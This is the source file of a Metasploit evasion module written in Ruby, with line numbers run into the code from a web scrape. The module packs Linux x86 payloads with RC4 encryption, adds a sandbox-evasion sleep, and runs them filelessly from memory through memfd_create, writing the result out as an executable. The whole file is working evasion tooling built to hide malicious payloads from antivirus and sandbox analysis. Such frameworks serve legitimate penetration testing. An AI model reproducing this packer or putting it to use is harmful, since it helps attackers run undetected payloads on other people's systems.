Path: blob/master/modules/evasion/linux/x86/rc4_packer.rb
36035 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Evasion67include Msf::Payload::Linux::X86::Rc4Decrypter8include Msf::Payload::Linux::X86::ElfLoader9include Msf::Payload::Linux::X86::SleepEvasion1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Linux RC4 Packer with In-Memory Execution (x86)',16'Description' => %q{17This evasion module packs Linux payloads using RC4 encryption18and executes them from memory using memfd_create for fileless execution.1920The evasion module works on systems with Linux Kernel 3.17+ due to memfd_create support.2122Features:23- RC4 encryption with configurable key size24- Fileless execution via memfd_create25},26'Author' => ['Massimo Bertocchi'],27'License' => MSF_LICENSE,28'Platform' => 'linux',29'Arch' => [ARCH_X86],30'Targets' => [['Linux x86', {}]],31'DefaultTarget' => 032)33)3435register_options([36OptString.new('FILENAME', [true, 'Output filename', 'payload.elf']),37OptInt.new('SLEEP_TIME', [false, 'Sleep Time for Sandbox Evasion', 0]),38])39end4041def run42raw_payload = payload.encoded43if raw_payload.blank?44fail_with(Failure::BadConfig, 'Failed to generate payload')45end4647elf_payload = Msf::Util::EXE.to_linux_x86_elf(framework, raw_payload)48complete_loader = sleep_evasion(seconds: datastore['SLEEP_TIME']) + rc4_decrypter(data: (in_memory_load(elf_payload) + elf_payload))49final_elf = Msf::Util::EXE.to_linux_x86_elf(framework, complete_loader)5051File.binwrite(datastore['FILENAME'], final_elf)52File.chmod(0o755, datastore['FILENAME'])53end54end555657